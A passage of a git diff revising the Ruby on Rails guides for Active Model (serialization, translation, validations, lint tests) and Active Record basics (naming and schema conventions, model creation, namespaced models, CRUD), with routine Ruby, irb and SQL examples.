+    include ActiveModel::Serialization
+    attr_accessor :title, :text
+
+    def attributes
+      { "title" => nil, "text" => nil }
+    end
+  end
 ```
 
-#### ActiveModel::Serializers
+```irb
+irb> note = Note.new
+irb> note.title = "Weekend Plans"
+irb> note.text = "Some text here"
+
+irb> person = Person.new
+irb> person.name = "Napoleon"
+irb> person.notes = [note]
 
-Rails provides an `ActiveModel::Serializers::JSON` serializer.
-This module automatically include the `ActiveModel::Serialization`.
+irb> person.serializable_hash
+=> {"name" => "Napoleon"}
+
+irb> person.serializable_hash(include: { notes: { only: "title" }})
+=> {"name" => "Napoleon", "notes" => [{"title" => "Weekend Plans"}]}
+```
 
-##### ActiveModel::Serializers::JSON
+#### ActiveModel::Serializers::JSON
 
-To use the `ActiveModel::Serializers::JSON` you only need to change from
-`ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`.
+Active Model also provides the
+[`ActiveModel::Serializers::JSON`](https://api.rubyonrails.org/classes/ActiveModel/Serializers/JSON.html)
+module for JSON serializing / deserializing.
+
+To use the JSON serialization, change the module you are including from
+`ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`. It already
+includes the former, so there is no need to explicitly include it.
 
 ```ruby
 class Person
@@ -334,22 +1259,36 @@ class Person
   attr_accessor :name
 
   def attributes
-    {'name' => nil}
+    { "name" => nil }
   end
 end
 ```
 
-With the `as_json` method you have a hash representing the model.
+The `as_json` method, similar to `serializable_hash`, provides a hash
+representing the model with its keys as a string. The `to_json` method returns a
+JSON string representing the model.
 
-```ruby
-person = Person.new
-person.as_json # => {"name"=>nil}
-person.name = "Bob"
-person.as_json # => {"name"=>"Bob"}
+```irb
+irb> person = Person.new
+
+# A hash representing the model with its keys as a string
+irb> person.as_json
+=> {"name" => nil}
+
+# A JSON string representing the model
+irb> person.to_json
+=> "{\"name\":null}"
+
+irb> person.name = "Bob"
+irb> person.as_json
+=> {"name" => "Bob"}
+
+irb> person.to_json
+=> "{\"name\":\"Bob\"}"
 ```
 
-From a JSON string you define the attributes of the model.
-You need to have the `attributes=` method defined on your class:
+You can also define the attributes for a model from a JSON string. To do that,
+first define the `attributes=` method in your class:
 
 ```ruby
 class Person
@@ -359,29 +1298,37 @@ class Person
 
   def attributes=(hash)
     hash.each do |key, value|
-      send("#{key}=", value)
+      public_send("#{key}=", value)
     end
   end
 
   def attributes
-    {'name' => nil}
+    { "name" => nil }
   end
 end
 ```
 
-Now it is possible to create an instance of person and set the attributes using `from_json`.
+Now it is possible to create an instance of `Person` and set attributes using
+`from_json`.
 
-```ruby
-json = { name: 'Bob' }.to_json
-person = Person.new
-person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob">
-person.name            # => "Bob"
+```irb
+irb> json = { name: "Bob" }.to_json
+=> "{\"name\":\"Bob\"}"
+
+irb> person = Person.new
+
+irb> person.from_json(json)
+=> #<Person:0x00000100c773f0 @name="Bob">
+
+irb> person.name
+=> "Bob"
 ```
 
 ### Translation
 
-`ActiveModel::Translation` provides integration between your object and the Rails
-internationalization (i18n) framework.
+[`ActiveModel::Translation`](https://api.rubyonrails.org/classes/ActiveModel/Translation.html)
+provides integration between your object and the [Rails internationalization
+(i18n) framework](i18n.html).
 
 ```ruby
 class Person
@@ -389,40 +1336,181 @@ class Person
 end
 ```
 
-With the `human_attribute_name` you can transform attribute names into a more
-human format. The human format is defined in your locale file.
+With the `human_attribute_name` method, you can transform attribute names into a
+more human-readable format. The human-readable format is defined in your locale
+file(s).
+
+```yaml
+# config/locales/app.pt-BR.yml
+pt-BR:
+  activemodel:
+    attributes:
+      person:
+        name: "Nome"
+```
+
+```irb
+irb> Person.human_attribute_name("name")
+=> "Name"
 
-* config/locales/app.pt-BR.yml
+irb> I18n.locale = :"pt-BR"
+=> :"pt-BR"
+irb> Person.human_attribute_name("name")
+=> "Nome"
+```
 
-  ```yml
-  pt-BR:
-    activemodel:
-      attributes:
-        person:
-          name: 'Nome'
-  ```
+### Validations
+
+[`ActiveModel::Validations`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html)
+adds the ability to validate objects and it is important for ensuring data
+integrity and consistency within your application. By incorporating validations
+into your models, you can define rules that govern the correctness of attribute
+values, and prevent invalid data.
 
 ```ruby
-Person.human_attribute_name('name') # => "Nome"
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :email, :token
+
+  validates :name, presence: true
+  validates :email, format: { with: URI::MailTo::EMAIL_REGEXP }
+  validates! :token, presence: true
+end
+```
+
+```irb
+irb> person = Person.new
+irb> person.token = "2b1f325"
+irb> person.valid?
+=> false
+
+irb> person.name = "Jane Doe"
+irb> person.email = "me"
+irb> person.valid?
+=> false
+
+irb> person.email = "jane.doe@gmail.com"
+irb> person.valid?
+=> true
+
+# `token` uses validate! and will raise an exception when not set.
+irb> person.token = nil
+irb> person.valid?
+=> "Token can't be blank (ActiveModel::StrictValidationFailed)"
+```
+
+#### Validation Methods and Options
+
+You can add validations using some of the following methods:
+
+- [`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate):
+  Adds validation through a method or a block to the class.
+
+- [`validates`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates):
+  An attribute can be passed to the `validates` method and it provides a
+  shortcut to all default validators.
+
+- [`validates!`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates-21)
+  or setting `strict: true`: Used to define validations that cannot be corrected
+  by end users and are considered exceptional. Each validator defined with a
+  bang or `:strict` option set to true will always raise
+  `ActiveModel::StrictValidationFailed` instead of adding to the errors when
+  validation fails.
+
+- [`validates_with`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with):
+  Passes the record off to the class or classes specified and allows them to add
+  errors based on more complex conditions.
+
+- [`validates_each`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each):
+  Validates each attribute against a block.
+
+Some of the options below can be used with certain validators. To determine if
+the option you're using can be used with a specific validator, read through [the
+validation
+documentation](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html).
+
+- `:on`: Specifies the context in which to add the validation. You can pass a
+  symbol or an array of symbols. (e.g. `on: :create` or `on:
+  :custom_validation_context` or `on: [:create, :custom_validation_context]`).
+  Validations without an `:on` option will run no matter the context. Validations
+  with some `:on` option will only run in the specified context. You can pass the
+  context when validating via `valid?(:context)`.
+
+- `:if`: Specifies a method, proc or string to call to determine if the
+  validation should occur (e.g. `if: :allow_validation`, or `if: -> {
+  signup_step > 2 }`). The method, proc or string should return or evaluate to a
+  `true` or `false` value.
+
+- `:unless`: Specifies a method, proc or string to call to determine if the
+  validation should not occur (e.g. `unless: :skip_validation`, or `unless:
+  Proc.new { |user| user.signup_step <= 2 }`). The method, proc or string should
+  return or evaluate to a `true` or `false` value.
+
+- `:allow_nil`: Skip the validation if the attribute is `nil`.
+
+- `:allow_blank`: Skip the validation if the attribute is blank.
+
+- `:strict`: If the `:strict` option is set to true, it will raise
+  `ActiveModel::StrictValidationFailed` instead of adding the error. `:strict`
+  option can also be set to any other exception.
+
+NOTE: Calling `validate` multiple times on the same method will overwrite
+previous definitions.
+
+#### Errors
+
+`ActiveModel::Validations` automatically adds an `errors` method to your
+instances initialized with a new
+[`ActiveModel::Errors`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html)
+object, so there is no need for you to do this manually.
+
+Run `valid?` on the object to check if the object is valid or not. If the object
+is not valid, it will return `false` and the errors will be added to the
+`errors` object.
+
+```irb
+irb> person = Person.new
+
+irb> person.email = "me"
+irb> person.valid?
+=> # Raises Token can't be blank (ActiveModel::StrictValidationFailed)
+
+irb> person.errors.to_hash
+=> {:name => ["can't be blank"], :email => ["is invalid"]}
+
+irb> person.errors.full_messages
+=> ["Name can't be blank", "Email is invalid"]
 ```
 
 ### Lint Tests
 
-`ActiveModel::Lint::Tests` allows you to test whether an object is compliant with
-the Active Model API.
+[`ActiveModel::Lint::Tests`](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html)
+allows you to test whether an object is compliant with the Active Model API. By
+including `ActiveModel::Lint::Tests` in your TestCase, it will include tests
+that tell you whether your object is fully compliant, or if not, which aspects
+of the API are not implemented.
 
-* app/models/person.rb
+These tests do not attempt to determine the semantic correctness of the returned
+values. For instance, you could implement `valid?` to always return `true`, and
+the tests would pass. It is up to you to ensure that the values are semantically
+meaningful.
+
+Objects you pass in are expected to return a compliant object from a call to
+`to_model`. It is perfectly fine for `to_model` to return `self`.
+
+* `app/models/person.rb`
 
     ```ruby
     class Person
-      include ActiveModel::Model
+      include ActiveModel::API
     end
     ```
 
-* test/models/person_test.rb
+* `test/models/person_test.rb`
 
     ```ruby
-    require 'test_helper'
+    require "test_helper"
 
     class PersonTest < ActiveSupport::TestCase
       include ActiveModel::Lint::Tests
@@ -433,8 +1521,14 @@ the Active Model API.
     end
     ```
 
+See [the test methods
+documentation](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html)
+for more details.
+
+To run the tests you can use the following command:
+
 ```bash
-$ rails test
+$ bin/rails test
 
 Run options: --seed 14596
 
@@ -446,57 +1540,3 @@ Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
 
 6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
 ```
-
-An object is not required to implement all APIs in order to work with
-Action Pack. This module only intends to provide guidance in case you want all
-features out of the box.
-
-### SecurePassword
-
-`ActiveModel::SecurePassword` provides a way to securely store any
-password in an encrypted form. On including this module, a
-`has_secure_password` class method is provided which defines
-an accessor named `password` with certain validations on it.
-
-#### Requirements
-
-`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'),
-so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly.
-In order to make this work, the model must have an accessor named `password_digest`.
-The `has_secure_password` will add the following validations on the `password` accessor:
-
-1. Password should be present.
-2. Password should be equal to its confirmation (provided +password_confirmation+ is passed along).
-3. The maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends)
-
-#### Examples
-
-```ruby
-class Person
-  include ActiveModel::SecurePassword
-  has_secure_password
-  attr_accessor :password_digest
-end
-
-person = Person.new
-
-# When password is blank.
-person.valid? # => false
-
-# When the confirmation doesn't match the password.
-person.password = 'aditya'
-person.password_confirmation = 'nomatch'
-person.valid? # => false
-
-# When the length of password exceeds 72.
-person.password = person.password_confirmation = 'a' * 100
-person.valid? # => false
-
-# When only password is supplied with no password_confirmation.
-person.password = 'aditya'
-person.valid? # => true
-
-# When all validations are passed.
-person.password = person.password_confirmation = 'aditya'
-person.valid? # => true
-```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
index 6b3aa471f9bdc..8d31b0bca3cfa 100644
--- a/guides/source/active_record_basics.md
+++ b/guides/source/active_record_basics.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Record Basics
 ====================
@@ -7,158 +7,317 @@ This guide is an introduction to Active Record.
 
 After reading this guide, you will know:
 
-* What Object Relational Mapping and Active Record are and how they are used in
-  Rails.
-* How Active Record fits into the Model-View-Controller paradigm.
+* How Active Record fits into the Model-View-Controller (MVC) paradigm.
+* What Object Relational Mapping and Active Record patterns are and how
+  they are used in Rails.
 * How to use Active Record models to manipulate data stored in a relational
   database.
 * Active Record schema naming conventions.
-* The concepts of database migrations, validations and callbacks.
+* The concepts of database migrations, validations, callbacks, and associations.
 
 --------------------------------------------------------------------------------
 
 What is Active Record?
 ----------------------
 
-Active Record is the M in [MVC](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) - the
-model - which is the layer of the system responsible for representing business
-data and logic. Active Record facilitates the creation and use of business
-objects whose data requires persistent storage to a database. It is an
-implementation of the Active Record pattern which itself is a description of an
-Object Relational Mapping system.
+Active Record is part of the M in [MVC][] - the model - which is the layer of
+the system responsible for representing data and business logic. Active Record
+helps you create and use Ruby objects whose attributes require persistent
+storage to a database.
+
+NOTE: What is the difference between Active Record and Active Model? It's
+possible to model data with Ruby objects that do *not* need to be backed by a
+database. [Active Model](active_model_basics.html) is commonly used for that in
+Rails, making Active Record and Active Model both part of the M in MVC, as well
+as your own plain Ruby objects.
+
+The term "Active Record" also refers to a software architecture pattern. Active
+Record in Rails is an implementation of that pattern. It's also a description of
+something called an [Object Relational Mapping][ORM] system. The below sections
+explain these terms.
 
 ### The Active Record Pattern
 
-[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html)
-in his book _Patterns of Enterprise Application Architecture_. In
-Active Record, objects carry both persistent data and behavior which
-operates on that data. Active Record takes the opinion that ensuring
-data access logic as part of the object will educate users of that
-object on how to write to and read from the database.
+The [Active Record pattern is described by Martin Fowler][MFAR] in the book
+_Patterns of Enterprise Application Architecture_ as "an object that wraps a row
+in a database table, encapsulates the database access, and adds domain logic to
+that data." Active Record objects carry both data and behavior. Active Record
+classes match very closely to the record structure of the underlying database.
+This way users can easily read from and write to the database, as you will see
+in the examples below.
 
 ### Object Relational Mapping
 
-Object Relational Mapping, commonly referred to as its abbreviation ORM, is
-a technique that connects the rich objects of an application to tables in
-a relational database management system. Using ORM, the properties and
-relationships of the objects in an application can be easily stored and
-retrieved from a database without writing SQL statements directly and with less
-overall database access code.
+Object Relational Mapping, commonly referred to as ORM, is a technique that
+connects the rich objects of a programming language to tables in a relational
+database management system (RDBMS). In the case of a Rails application, these
+are Ruby objects. Using an ORM, the attributes of Ruby objects, as well as the
+relationship between objects, can be easily stored and retrieved from a database
+without writing SQL statements directly. Overall, ORMs minimize the amount of
+database access code you have to write.
+
+NOTE: Basic knowledge of relational database management systems (RDBMS) and
+structured query language (SQL) is helpful in order to fully understand Active
+Record. Please refer to [this SQL tutorial][sqlcourse] (or [this RDBMS
+tutorial][rdbmsinfo]) or study them by other means if you would like to learn
+more.
 
 ### Active Record as an ORM Framework
 
-Active Record gives us several mechanisms, the most important being the ability
-to:
+Active Record gives us the ability to do the following using Ruby objects:
 
 * Represent models and their data.
-* Represent associations between these models.
+* Represent associations between models.
 * Represent inheritance hierarchies through related models.
 * Validate models before they get persisted to the database.
 * Perform database operations in an object-oriented fashion.
 
+[MVC]: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
+[MFAR]: https://www.martinfowler.com/eaaCatalog/activeRecord.html
+[ORM]: https://en.wikipedia.org/wiki/Object-relational_mapping
+[sqlcourse]: https://www.khanacademy.org/computing/computer-programming/sql
+[rdbmsinfo]: https://www.devart.com/what-is-rdbms/
+
 Convention over Configuration in Active Record
 ----------------------------------------------
 
 When writing applications using other programming languages or frameworks, it
 may be necessary to write a lot of configuration code. This is particularly true
 for ORM frameworks in general. However, if you follow the conventions adopted by
-Rails, you'll need to write very little configuration (in some cases no
-configuration at all) when creating Active Record models. The idea is that if
-you configure your applications in the very same way most of the time then this
-should be the default way. Thus, explicit configuration would be needed
-only in those cases where you can't follow the standard convention.
+Rails, you'll write very little to no configuration code when creating Active
+Record models.
+
+Rails adopts the idea that if you configure your applications in the same way
+most of the time, then that way should be the default. Explicit configuration
+should be needed only in those cases where you can't follow the convention.
+
+To take advantage of convention over configuration in Active Record, there are
+some naming and schema conventions to follow. And in case you need to, it is
+possible to [override naming conventions](#overriding-the-naming-conventions).
 
 ### Naming Conventions
 
-By default, Active Record uses some naming conventions to find out how the
-mapping between models and database tables should be created. Rails will
-pluralize your class names to find the respective database table. So, for
-a class `Book`, you should have a database table called **books**. The Rails
-pluralization mechanisms are very powerful, being capable of pluralizing (and
-singularizing) both regular and irregular words. When using class names composed
-of two or more words, the model class name should follow the Ruby conventions,
-using the CamelCase form, while the table name must contain the words separated
-by underscores. Examples:
+Active Record uses this naming convention to map between models (represented by
+Ruby objects) and database tables:
+
+Rails will pluralize your model's class names to find the respective database
+table. For example, a class named `Book` maps to a database table named `books`.
+The Rails pluralization mechanisms are very powerful and capable of pluralizing
+(and singularizing) both regular and irregular words in the English language.
+This uses the [Active Support](active_support_core_extensions.html#pluralize)
+[pluralize](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-pluralize) method.
+
+For class names composed of two or more words, the model class name will follow
+the Ruby conventions of using an UpperCamelCase name. The database table name, in
+that case, will be a snake_case name. For example:
+
+* `BookClub` is the model class, singular with the first letter of each word
+  capitalized.
+* `book_clubs` is the matching database table, plural with underscores
+  separating words.
 
-* Database Table - Plural with underscores separating words (e.g., `book_clubs`).
-* Model Class - Singular with the first letter of each word capitalized (e.g.,
-`BookClub`).
+Here are some more examples of model class names and corresponding table names:
 
 | Model / Class    | Table / Schema |
 | ---------------- | -------------- |
 | `Article`        | `articles`     |
 | `LineItem`       | `line_items`   |
-| `Deer`           | `deers`        |
-| `Mouse`          | `mice`         |
+| `Product`        | `products`     |
 | `Person`         | `people`       |
 
-
 ### Schema Conventions
 
-Active Record uses naming conventions for the columns in database tables,
+Active Record uses conventions for column names in the database tables as well,
 depending on the purpose of these columns.
 
+* **Primary keys** - By default, Active Record will use an integer column named
+  `id` as the table's primary key (`bigint` for PostgreSQL, MySQL, and MariaDB,
+  `integer` for SQLite). When using [Active Record Migrations](#migrations) to
+  create your tables, this column will be automatically created.
 * **Foreign keys** - These fields should be named following the pattern
-  `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the
+  `singularized_table_name_id` (e.g., `order_id`, `line_item_id`). These are the
   fields that Active Record will look for when you create associations between
   your models.
-* **Primary keys** - By default, Active Record will use an integer column named
-  `id` as the table's primary key. When using [Active Record
-  Migrations](active_record_migrations.html) to create your tables, this column will be
-  automatically created.
 
-There are also some optional column names that will add additional features
-to Active Record instances:
+There are also some optional column names that will add additional features to
+Active Record instances:
 
 * `created_at` - Automatically gets set to the current date and time when the
   record is first created.
 * `updated_at` - Automatically gets set to the current date and time whenever
-  the record is updated.
+  the record is created or updated.
 * `lock_version` - Adds [optimistic
-  locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
-  a model.
+  locking](https://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a
+  model.
 * `type` - Specifies that the model uses [Single Table
-  Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
-* `(association_name)_type` - Stores the type for
-  [polymorphic associations](association_basics.html#polymorphic-associations).
+  Inheritance](https://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
+* `(association_name)_type` - Stores the type for [polymorphic
+  associations](association_basics.html#polymorphic-associations).
 * `(table_name)_count` - Used to cache the number of belonging objects on
-  associations. For example, a `comments_count` column in an `Article` class that
-  has many instances of `Comment` will cache the number of existent comments
-  for each article.
+  associations. For example, if `Article`s have many `Comment`s, a
+  `comments_count` column in the `articles` table will cache the number of
+  existing comments for each article.
 
-NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+NOTE: While these column names are optional, they are reserved by Active Record.
+Steer clear of reserved keywords when naming your table's columns. For example,
+`type` is a reserved keyword used to designate a table using Single Table
+Inheritance (STI). If you are not using STI, use a different word to accurately
+describe the data you are modeling.
 
 Creating Active Record Models
 -----------------------------
 
-It is very easy to create Active Record models. All you have to do is to
-subclass the `ApplicationRecord` class and you're good to go:
+When generating a Rails application, an abstract `ApplicationRecord` class will
+be created in `app/models/application_record.rb`. The `ApplicationRecord` class
+inherits from
+[`ActiveRecord::Base`](https://api.rubyonrails.org/classes/ActiveRecord/Base.html)
+and it's what turns a regular Ruby class into an Active Record model.
+
+`ApplicationRecord` is the base class for all Active Record models in your app.
+To create a new model, subclass the `ApplicationRecord` class and you're good to
+go:
 
 ```ruby
-class Product < ApplicationRecord
+class Book < ApplicationRecord
 end
 ```
 
-This will create a `Product` model, mapped to a `products` table at the
-database. By doing this you'll also have the ability to map the columns of each
-row in that table with the attributes of the instances of your model. Suppose
-that the `products` table was created using an SQL statement like:
+This will create a `Book` model, mapped to a `books` table in the database,
+where each column in the table is mapped to attributes of the `Book` class. An
+instance of `Book` can represent a row in the `books` table. The `books` table
+with columns `id`, `title`, and `author`, can be created using an SQL statement
+like this:
 
 ```sql
-CREATE TABLE products (
-   id int(11) NOT NULL auto_increment,
-   name varchar(255),
-   PRIMARY KEY  (id)
+CREATE TABLE books (
+  id int(11) NOT NULL auto_increment,
+  title varchar(255),
+  author varchar(255),
+  PRIMARY KEY  (id)
 );
 ```
 
-Following the table schema above, you would be able to write code like the
-following:
+However, that is not how you do it normally in Rails. Database tables in Rails
+are typically created using [Active Record Migrations](#migrations) and not raw
+SQL. A migration for the `books` table above can be generated like this:
+
+```bash
+$ bin/rails generate migration CreateBooks title:string author:string
+```
+
+NOTE: If you don't specify a type for a field (e.g., `title` instead of `title:string`), Rails will default to type `string`.
+
+and results in this:
 
 ```ruby
-p = Product.new
-p.name = "Some Book"
-puts p.name # "Some Book"
+# Note:
+# The `id` column, as the primary key, is automatically created by convention.
+# Columns `created_at` and `updated_at` are added by `t.timestamps`.
+
+# db/migrate/20240220143807_create_books.rb
+class CreateBooks < ActiveRecord::Migration[8.2]
+  def change
+    create_table :books do |t|
+      t.string :title
+      t.string :author
+
+      t.timestamps
+    end
+  end
+end
+```
+
+That migration creates columns `id`, `title`, `author`, `created_at` and
+`updated_at`. Each row of this table can be represented by an instance of the
+`Book` class with the same attributes: `id`, `title`, `author`, `created_at`,
+and `updated_at`. You can access a book's attributes like this:
+
+```irb
+irb> book = Book.new
+=> #<Book:0x00007fbdf5e9a038 id: nil, title: nil, author: nil, created_at: nil, updated_at: nil>
+
+irb> book.title = "The Hobbit"
+=> "The Hobbit"
+irb> book.title
+=> "The Hobbit"
+```
+
+NOTE: You can generate the Active Record model class as well as a matching
+migration with the command `bin/rails generate model Book title:string
+author:string`. This creates the files `app/models/book.rb`,
+`db/migrate/20240220143807_create_books.rb`, and a couple others for testing
+purposes.
+
+### Creating Namespaced Models
+
+Active Record models are placed under the `app/models` directory by default. But
+you may want to organize your models by placing similar models under their own
+folder and namespace. For example, `order.rb` and `review.rb` under
+`app/models/book` with `Book::Order` and `Book::Review` class names,
+respectively. You can create namespaced models with Active Record.
+
+In the case where the `Book` module does not already exist, the `generate`
+command will create everything like this:
+
+```bash
+$ bin/rails generate model Book::Order
+      invoke  active_record
+      create    db/migrate/20240306194227_create_book_orders.rb
+      create    app/models/book/order.rb
+      create    app/models/book.rb
+      invoke    test_unit
+      create      test/models/book/order_test.rb
+      create      test/fixtures/book/orders.yml
+```
+
+If the `Book` module already exists, you will be asked to resolve
+the conflict:
+
+```bash
+$ bin/rails generate model Book::Order
+      invoke  active_record
+      create    db/migrate/20240305140356_create_book_orders.rb
+      create    app/models/book/order.rb
+    conflict    app/models/book.rb
+  Overwrite /Users/bhumi/Code/rails_guides/app/models/book.rb? (enter "h" for help) [Ynaqdhm]
+```
+
+Once the namespaced model generation is successful, the `Book` and `Order`
+classes look like this:
+
+```ruby
+# app/models/book.rb
+module Book
+  def self.table_name_prefix
+    "book_"
+  end
+end
+
+# app/models/book/order.rb
+class Book::Order < ApplicationRecord
+end
+```
+
+Setting the
+[table_name_prefix](https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-table_name_prefix-3D)
+in `Book` will allow `Order` model's database table to be named
+`book_orders`, instead of plain `orders`.
+
+The other possibility is that you already have a `Book` model that you want
+to keep in `app/models`. In that case, you can choose `n` to not overwrite
+`book.rb` during the `generate` command.
+
+This will still allow for a namespaced table name for `Book::Order` class,
+without needing the `table_name_prefix`:
+
+```ruby
+# app/models/book.rb
+class Book < ApplicationRecord
+  # existing code
+end
+
+Book::Order.table_name
+# => "book_orders"
 ```
 
 Overriding the Naming Conventions
@@ -168,25 +327,27 @@ What if you need to follow a different naming convention or need to use your
 Rails application with a legacy database? No problem, you can easily override
 the default conventions.
 
-`ApplicationRecord` inherits from `ActiveRecord::Base`, which defines a
-number of helpful methods. You can use the `ActiveRecord::Base.table_name=`
-method to specify the table name that should be used:
+Since `ApplicationRecord` inherits from `ActiveRecord::Base`, your application's
+models will have a number of helpful methods available to them. For example, you
+can use the `ActiveRecord::Base.table_name=` method to customize the table name
+that should be used:
 
 ```ruby
-class Product < ApplicationRecord
-  self.table_name = "my_products"
+class Book < ApplicationRecord
+  self.table_name = "my_books"
 end
 ```
 
-If you do so, you will have to define manually the class name that is hosting
-the fixtures (my_products.yml) using the `set_fixture_class` method in your test
-definition:
+If you do so, you will have to manually define the class name that is hosting
+[the fixtures](testing.html#the-low-down-on-fixtures) (`my_books.yml`) using the
+`set_fixture_class` method in your test definition:
 
 ```ruby
-class ProductTest < ActiveSupport::TestCase
-  set_fixture_class my_products: Product
-  fixtures :my_products
-  ...
+# test/models/book_test.rb
+class BookTest < ActiveSupport::TestCase
+  set_fixture_class my_books: Book
+  fixtures :my_books
+  # ...
 end
 ```
 
@@ -194,78 +355,172 @@ It's also possible to override the column that should be used as the table's
 primary key using the `ActiveRecord::Base.primary_key=` method:
 
 ```ruby
-class Product < ApplicationRecord
-  self.primary_key = "product_id"
+class Book < ApplicationRecord
+  self.primary_key = "book_id"
 end
 ```
 
+NOTE: **Active Record does not recommend using non-primary key columns named
+`id`.** Using a column named `id` which is not a single-column primary key
+complicates the access to the column value. The application will have to use the
+[`id_value`][] alias attribute to access the value of the non-PK `id` column.
+
+[`id_value`]: https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-i-id_value
+
+NOTE: If you try to create a column named `id` which is not the primary key,
+Rails will throw an error during migrations such as: `you can't redefine the
+primary key column 'id' on 'my_books'.` `To define a custom primary key, pass {
+id: false } to create_table.`
+
 CRUD: Reading and Writing Data
 ------------------------------
 
 CRUD is an acronym for the four verbs we use to operate on data: **C**reate,
-**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods
-to allow an application to read and manipulate data stored within its tables.
+**R**ead, **U**pdate, and **D**elete. Active Record automatically creates methods
+to allow you to read and manipulate data stored in your application's database
+tables.
+
+Active Record makes it seamless to perform CRUD operations by using these
+high-level methods that abstract away database access details. Note that all of
+these convenient methods result in SQL statement(s) that are executed against
+the underlying database.
+
+The examples below show a few of the CRUD methods as well as the resulting SQL
+statements.
 
 ### Create
 
-Active Record objects can be created from a hash, a block or have their
-attributes manually set after creation. The `new` method will return a new
-object while `create` will return the object and save it to the database.
+Active Record objects can be created from a hash, a block, or have their
+attributes manually set after creation. The `new` method will return a new,
+non-persisted object, while `create` will save the object to the database and
+return it.
 
-For example, given a model `User` with attributes of `name` and `occupation`,
-the `create` method call will create and save a new record into the database:
+For example, given a `Book` model with attributes of `title` and `author`, the
+`create` method call will create an object and save a new record to the
+database:
 
 ```ruby
-user = User.create(name: "David", occupation: "Code Artist")
+book = Book.create(title: "The Lord of the Rings", author: "J.R.R. Tolkien")
+
+# Note that the `id` is assigned as this record is committed to the database.
+book.inspect
+# => "#<Book id: 106, title: \"The Lord of the Rings\", author: \"J.R.R. Tolkien\", created_at: \"2024-03-04 19:15:58.033967000 +0000\", updated_at: \"2024-03-04 19:15:58.033967000 +0000\">"
 ```
 
-Using the `new` method, an object can be instantiated without being saved:
+While the `new` method will instantiate an object *without* saving it to the
+database:
 
 ```ruby
-user = User.new
-user.name = "David"
-user.occupation = "Code Artist"
-```
+book = Book.new
+book.title = "The Hobbit"
+book.author = "J.R.R. Tolkien"
+
+# Note that the `id` is not set for this object.
+book.inspect
+# => "#<Book id: nil, title: \"The Hobbit\", author: \"J.R.R. Tolkien\", created_at: nil, updated_at: nil>"
+
+# The above `book` is not yet saved to the database.
 
-A call to `user.save` will commit the record to the database.
+book.save
+book.id # => 107
 
-Finally, if a block is provided, both `create` and `new` will yield the new
-object to that block for initialization:
+# Now the `book` record is committed to the database and has an `id`.
+```
+
+If a block is provided, both `create` and `new` will yield the new object to that block for initialization, while only `create` will persist the resulting object to the database:
 
 ```ruby
-user = User.new do |u|
-  u.name = "David"
-  u.occupation = "Code Artist"
+book = Book.new do |b|
+  b.title = "Metaprogramming Ruby 2"
+  b.author = "Paolo Perrotta"
 end
+
+book.save
 ```
 
-### Read
+The resulting SQL statement from both `book.save` and `Book.create` look
+something like this:
+
+```sql
+/* Note that `created_at` and `updated_at` are automatically set. */
+
+INSERT INTO "books" ("title", "author", "created_at", "updated_at") VALUES (?, ?, ?, ?) RETURNING "id"  [["title", "Metaprogramming Ruby 2"], ["author", "Paolo Perrotta"], ["created_at", "2024-02-22 20:01:18.469952"], ["updated_at", "2024-02-22 20:01:18.469952"]]
+```
 
-Active Record provides a rich API for accessing data within a database. Below
-are a few examples of different data access methods provided by Active Record.
+Finally, if you'd like to insert several records **without callbacks or
+validations**, you can directly insert records into the database using `insert` or `insert_all` methods:
 
 ```ruby
-# return a collection with all users
-users = User.all
+Book.insert(title: "The Lord of the Rings", author: "J.R.R. Tolkien")
+Book.insert_all([{ title: "The Lord of the Rings", author: "J.R.R. Tolkien" }])
 ```
 
+### Read
+
+Active Record provides a rich API for accessing data within a database. You can
+query a single record or multiple records, filter them by any attribute, order
+them, group them, select specific fields, and do anything you can do with SQL.
+
 ```ruby
-# return the first user
-user = User.first
+# Return a collection with all books.
+books = Book.all
+
+# Return a single book.
+first_book = Book.first
+last_book = Book.last
+book = Book.take
 ```
 
+The above results in the following SQL:
+
+```sql
+-- Book.all
+SELECT "books".* FROM "books"
+
+-- Book.first
